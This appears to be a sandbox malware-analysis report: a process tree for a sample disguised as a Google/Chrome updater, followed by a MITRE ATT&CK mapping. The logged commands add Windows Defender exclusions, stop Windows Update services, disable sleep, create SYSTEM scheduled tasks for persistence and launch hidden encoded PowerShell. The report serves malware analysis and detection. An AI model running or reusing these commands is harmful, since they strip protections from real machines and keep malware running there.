- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /delete /f /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:2216
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:2996
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:2228
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1196
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2968
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2004
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Users\Admin\AppData\Local\Temp\xyvvnnvseiqa.xml"
  2⤵
  - Creates scheduled task(s)
  PID:1888
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:2108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1624
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:1588
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2296
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2352
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2216
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:1420
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2112
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:2748
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1548
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3068
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2724
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1304
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Windows\TEMP\xyvvnnvseiqa.xml"
  2⤵
  - Creates scheduled task(s)
  PID:1884
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1336
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:924
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1600
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Windows\TEMP\vabgtjshkifw.xml"
  2⤵
  - Creates scheduled task(s)
  PID:2800
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:1992

C:\Windows\system32\taskeng.exe
taskeng.exe {FFF8EEF8-8B03-40D6-84D8-BA8A58EE648F} S-1-5-21-3513876443-2771975297-1923446376-1000:GPFFWLPI\Admin:Interactive:[1]
1⤵
PID:2900
- C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
  C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
  2⤵
  - Executes dropped EXE
  PID:2156
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1776
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:320
- C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
  C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
  2⤵
  - Executes dropped EXE
  PID:1068

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2056

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20231011015645.log C:\Windows\Logs\CBS\CbsPersist_20231011015645.cab
1⤵
- Drops file in Windows directory
PID:2212

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:908

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

System Information Discovery